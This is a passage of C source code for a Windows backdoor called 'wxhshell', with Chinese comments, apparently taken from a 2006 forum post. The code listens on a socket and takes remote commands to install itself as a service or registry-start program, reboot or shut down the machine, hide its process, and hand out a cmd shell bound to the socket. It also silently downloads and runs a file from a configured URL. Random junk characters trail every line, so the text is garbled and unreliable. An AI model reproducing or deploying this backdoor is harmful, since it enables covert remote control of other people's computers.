  if(DownloadFile(cmd,wsh)) [a*m9F\ ,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M"]~}*  
  else  mq?5|`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RYaf{i`  
  } \gL H_$}  
  else { g(Jzu'  
$Rsf`*0-  
    switch(cmd[0]) { hb"t8_--c  
  gC#PqK~  
  // 帮助 xh\{ dUPA  
  case '?': { Y$ ;C@I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KFd"JtPg  
    break; h&Ehp   
  } Q- %Q7n'c  
  // 安装 ^Q]*CU+C  
  case 'i': { bO: Ei  
    if(Install()) 78\:{i->ta  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (@dh"=Lt\  
    else Qcz7IA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Poacd;*  
    break; N(@'L43$V  
    } Dm6}$v'0  
  // 卸载 tqE LF  
  case 'r': { Dqe/n_Z  
    if(Uninstall()) b$nXljV4?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OCF\*Sx  
    else |Q^Z I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Bz0B a  
    break; @#}9?>UV  
    } vS:%(Y"!<  
  // 显示 wxhshell 所在路径 ;PJWd|3  
  case 'p': { 0sRby!  
    char svExeFile[MAX_PATH]; A}sb 2P  
    strcpy(svExeFile,"\n\r"); $L.0$-je4  
      strcat(svExeFile,ExeFile); ZN|DR|c UY  
        send(wsh,svExeFile,strlen(svExeFile),0); qbkvwL9  
    break; |*7uF<ink6  
    } a8-2:8Su  
  // 重启 t#~r'5va  
  case 'b': { !Ljs9 =UF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #:Di1I9<O7  
    if(Boot(REBOOT)) |$":7)e H!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AU}P`fT!  
    else { Ay!=Yk ^~  
    closesocket(wsh); 'N],d&fu^^  
    ExitThread(0); Uq&ne 1  
    } @YP\!#"8  
    break; uYS?# g  
    } \@Gyl_6^  
  // 关机 UHz*Tfjb  
  case 'd': { TdP_L/>|J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E) >~0jv  
    if(Boot(SHUTDOWN)) +}X?+Epm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r+0"1\f3  
    else { l'VgS:NT  
    closesocket(wsh); ]6</{b  
    ExitThread(0); y>u+.z a|  
    } BUv;BzyV  
    break; ~ -Rr[O=E  
    } V# |#% 8  
  // 获取shell R)t"`'6|  
  case 's': { @?{n`K7{`  
    CmdShell(wsh); f 5_n2  
    closesocket(wsh); L._I"g5 H9  
    ExitThread(0); Nm#VA.~  
    break; $g _h9L  
  } A L}c-#GG  
  // 退出 ` &|Rs  
  case 'x': { z?h\7 R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J}TS-j0  
    CloseIt(wsh); qJFBdJU(1  
    break; "tUXYY  
    } 1^R@X  
  // 离开 tsU.c"^n  
  case 'q': { //:.k#}~B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h/`OG>./  
    closesocket(wsh); Oe^3YOR#j{  
    WSACleanup(); Vy{=Y(cpF2  
    exit(1); SMk{159q&  
    break; ?b:J6(-  
        } {Zjnf6d]  
  } |t|+pBB  
  } z['>`Kt  
}?#<)|_5  
  // 提示信息 \rcbt6H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Te n2(D  
} Wk'KN o  
  } k _hiGg  
18Pc4~ >0  
  return; =XJ SE+ 7  
} Q0!gTV  
2;5EH 0  
// shell模块句柄 !~m)_Q5?~  
int CmdShell(SOCKET sock) w]UYD;f  
{ F^IYx~:  
STARTUPINFO si; C!B2 .:ja  
ZeroMemory(&si,sizeof(si)); AGn:I??  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LCRreIIgZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @W=#gRqQPy  
PROCESS_INFORMATION ProcessInfo; xqO'FQO%  
char cmdline[]="cmd"; RERum  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;) 5d wq  
  return 0; hv}rA,Yd  
} #wNksh/J^  
EkEM|<GNd  
// 自身启动模式 AASw^A3p  
int StartFromService(void) z* YkD"]B  
{ %z J)mOu  
typedef struct NM/?jF@j*  
{ II)\rVP5  
  DWORD ExitStatus; PLKp<kg  
  DWORD PebBaseAddress; IBf&'/ 8\  
  DWORD AffinityMask; rv&(yA  
  DWORD BasePriority; S$+vRX7  
  ULONG UniqueProcessId; ,4jkTQ*@2  
  ULONG InheritedFromUniqueProcessId;  <G{m=  
}   PROCESS_BASIC_INFORMATION; yd`xmc)  
26yv w  
PROCNTQSIP NtQueryInformationProcess; '73dsOTIT  
J8J~$DU\Gv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i RS )Z )  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?zQ\u{]=  
x<"1T w5e  
  HANDLE             hProcess;  ^vYH"2  
  PROCESS_BASIC_INFORMATION pbi; ]=2Ba<)m  
b~Op1p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f`.8.1Rd  
  if(NULL == hInst ) return 0; vJ7I [Z  
E08FUAth]#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "'4R _R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X~sl5?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,_r"=>?@  
dZIAotHN:  
  if (!NtQueryInformationProcess) return 0; H`njKKdR  
:mX c|W3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~_QZiuq&  
  if(!hProcess) return 0; X_ne#ZPl  
36*"oD=@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8t!(!<iF0  
#gMMh B=  
  CloseHandle(hProcess); #Bg88!-4  
&v Lz{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,icgne1j  
if(hProcess==NULL) return 0; mFjX  
,fpu@@2  
HMODULE hMod; ,@tkL!"9q  
char procName[255]; 5:Pp62  
unsigned long cbNeeded; <h4"^9hL  
$]%;u: Sa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /WRS6n  
2BXpk^d5y  
  CloseHandle(hProcess); z~L''X7g  
}Xr-xh \v  
if(strstr(procName,"services")) return 1; // 以服务启动 w0)V3  
4[ M!x  
  return 0; // 注册表启动 {2vk<  
} lTv I;zy  
6b~Zv$5^Y-  
// 主模块 ]{{A/ j\  
int StartWxhshell(LPSTR lpCmdLine) N#Y%+1  
{ h=.|!u  
  SOCKET wsl; 3xxQL,FV  
BOOL val=TRUE; pzbR.L}'D  
  int port=0; 8V>j-C  
  struct sockaddr_in door; .mn`/4  
NKvBNf|D  
  if(wscfg.ws_autoins) Install(); WW{5[;LYiB  
:.'<ndM  
port=atoi(lpCmdLine); &M,a+|yuY  
cTCo~Pk4  
if(port<=0) port=wscfg.ws_port; MIo<sJuv  
_7'9omq@  
  WSADATA data; 8*!<,k="9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]|it&4l  
Tz4,lwuWX7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uz-,)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +D[|L1{xb  
  door.sin_family = AF_INET; '$YB -  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <k<K"{  
  door.sin_port = htons(port); rdhK&5x*  
=dx!R ,Bw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _Db=I3.HJ  
closesocket(wsl); CL.JalR`b  
return 1; K#rfQ0QK/!  
} OSQZ5:g|  
Py$Q]s?\1  
  if(listen(wsl,2) == INVALID_SOCKET) { {YC!pDG  
closesocket(wsl); Ehi)n)HhG"  
return 1; k{;"Aj:iL  
} 0?KXQD  
  Wxhshell(wsl); -G e5gQ=  
  WSACleanup(); rZ2X$FO@  
b6:A-jb*I  
return 0; PElC0 qCn[  
<cNXe4(  
} P?p>'avP  
J( JsfU4  
// 以NT服务方式启动 G3'>KMa.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?YWfoH4mS  
{ , (dg]7  
DWORD   status = 0; bO 2>ced  
  DWORD   specificError = 0xfffffff; 8^\}\@  
{STOWuY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h[ #Lg3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i]J*lM7'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g}"`@H(9r3  
  serviceStatus.dwWin32ExitCode     = 0; xI}o8GKQq  
  serviceStatus.dwServiceSpecificExitCode = 0; Zu`; S#Y  
  serviceStatus.dwCheckPoint       = 0; h6<abT@I  
  serviceStatus.dwWaitHint       = 0; ~T@t7Cg  
BZejqDr*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |z\5Ik!fF]  
  if (hServiceStatusHandle==0) return; |x@)%QeC  
PtCO';9[  
status = GetLastError();  UhN16|x  
  if (status!=NO_ERROR) ,@kD9n5#  
{ 1^XuH('  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ' N^\9X0  
    serviceStatus.dwCheckPoint       = 0; d0Xb?- }3M  
    serviceStatus.dwWaitHint       = 0; Z:DEET!c'k  
    serviceStatus.dwWin32ExitCode     = status; RO[Ko-m|/N  
    serviceStatus.dwServiceSpecificExitCode = specificError; J ^gtSn^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HM57b>6  
    return; 1+6:K._C(m  
  } JTK>[|c9oE  
qzS 9ls>>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CF"$&+s9  
  serviceStatus.dwCheckPoint       = 0; Cw42bO  
  serviceStatus.dwWaitHint       = 0; 7 K.&zn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J!5BH2bg  
} U/F<r3.`#  
_OV\W'RrA  
// 处理NT服务事件,比如:启动、停止 w}No ^.I*4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u$ C@0d  
{ =sy>_   
switch(fdwControl) Atsi}zTR\  
{ mkgGX|k;  
case SERVICE_CONTROL_STOP: W9n0Jv  
  serviceStatus.dwWin32ExitCode = 0; gw~ %jD-2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bHVAa#  
  serviceStatus.dwCheckPoint   = 0; (uW/t1  
  serviceStatus.dwWaitHint     = 0; qcMVY\gi  
  { i;Cs,Esnf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pm$2*!1F(  
  } K*iy^}  
  return; ,<?iL~> %  
case SERVICE_CONTROL_PAUSE: jy@vz,/:%5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D`p&`]k3v  
  break; ?~~sOf AP  
case SERVICE_CONTROL_CONTINUE: !<r+h, C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hoY.2 B_  
  break; a h<1&UG,  
case SERVICE_CONTROL_INTERROGATE: w1HE^ /  
  break; rt">xVl  
}; 7pMl:\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 i<,#FaL  
} ?xEQ'(UBQ  
/~3~Xc ~=p  
// 标准应用程序主函数 j.FA!4L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (ii6w d< *  
{ x ,$N!X  
J-*&&  
// 获取操作系统版本 W}m-5L  
OsIsNt=GetOsVer(); ! |SPOk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3jF#f'*  
q-s! hiK  
  // 从命令行安装 X-1<YG  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?#8',:  
r~cmrLQa  
  // 下载执行文件 #qkokV6`  
if(wscfg.ws_downexe) { ZeewGa^r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $YZsaw  
  WinExec(wscfg.ws_filenam,SW_HIDE); lv -z[  
} 1d/-SxhZ  
K&FGTS,  
if(!OsIsNt) { i0F.c\  
// 如果时win9x,隐藏进程并且设置为注册表启动 [h>|6%sW  
HideProc(); <$\vL   
StartWxhshell(lpCmdLine); kN3T/96  
} tP; &$y.8  
else )|;*[S4  
  if(StartFromService()) ` nBCCz'Y!  
  // 以服务方式启动 n Q|4.e;  
  StartServiceCtrlDispatcher(DispatchTable); FR~YO|4?  
else ?^Sk17G  
  // 普通方式启动 WrK!]17or  
  StartWxhshell(lpCmdLine); rZRcy9$y>  
eXJt9olI  
return 0; csn/h$`-@  
}
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只看该作者 1 发表于: 2006-10-10
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